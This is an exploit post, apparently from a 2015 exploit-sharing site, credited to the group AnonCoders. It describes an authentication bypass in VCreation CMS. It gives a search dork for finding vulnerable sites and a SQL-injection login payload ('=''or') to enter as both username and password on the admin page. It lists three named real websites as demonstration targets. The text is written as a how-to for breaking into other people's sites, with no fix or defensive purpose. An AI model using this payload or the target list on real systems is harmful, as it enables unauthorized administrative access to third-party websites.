facebook facebook twitter rss

VCreation CMS Authentication Bypass

Author: AnonCoders , Published: 18-06-2015
# Exploit Title : VCreation CMS Authentication Bypass

# Date : 18/06/2015

# Exploit Author : AnonCoders

# Contact : https://www.facebook.com/AnonCodersTeam

# Category : Web Application Bugs

# Home : https://www.facebook.com/AnonCodersTeam

# Google Dork : intext:powered By VCreation

# Tested On : Windows

1. Description

By This Vulenarabity You Can Bypass Authentication And Get Logged In Like An Admin.

2. Proof Of Concept

You Can Find Targets By 2 Ways :

In That Address Are Many Targets.After You Selected Your Target Use This Exploit :

# http://site.com/admin

Then If The Admin Page Comes,Use These Usernames And Passwords :

Username : '=''or'

Password : '=''or'

Second Way :

Search This Dork : intext:powered By VCreation

Then Use This Exploit :

# http://site.com/admin

Then If The Admin Page Comes,Use These Usernames And Passwords :

Username : '=''or'

Password : '=''or'

# Demo :

# http://www.alkhair-eg.com/admin/

# http://rockal.net/admin/

# http://www.roman-contracting.com/admin

=========================================

We Are: Ghost_Al/Black Worm/Dr.T3rr0r/Dr.AFN[D]ENA

Visit Us :

https://www.facebook.com/AnonCodersTeam

Like us on Facebook :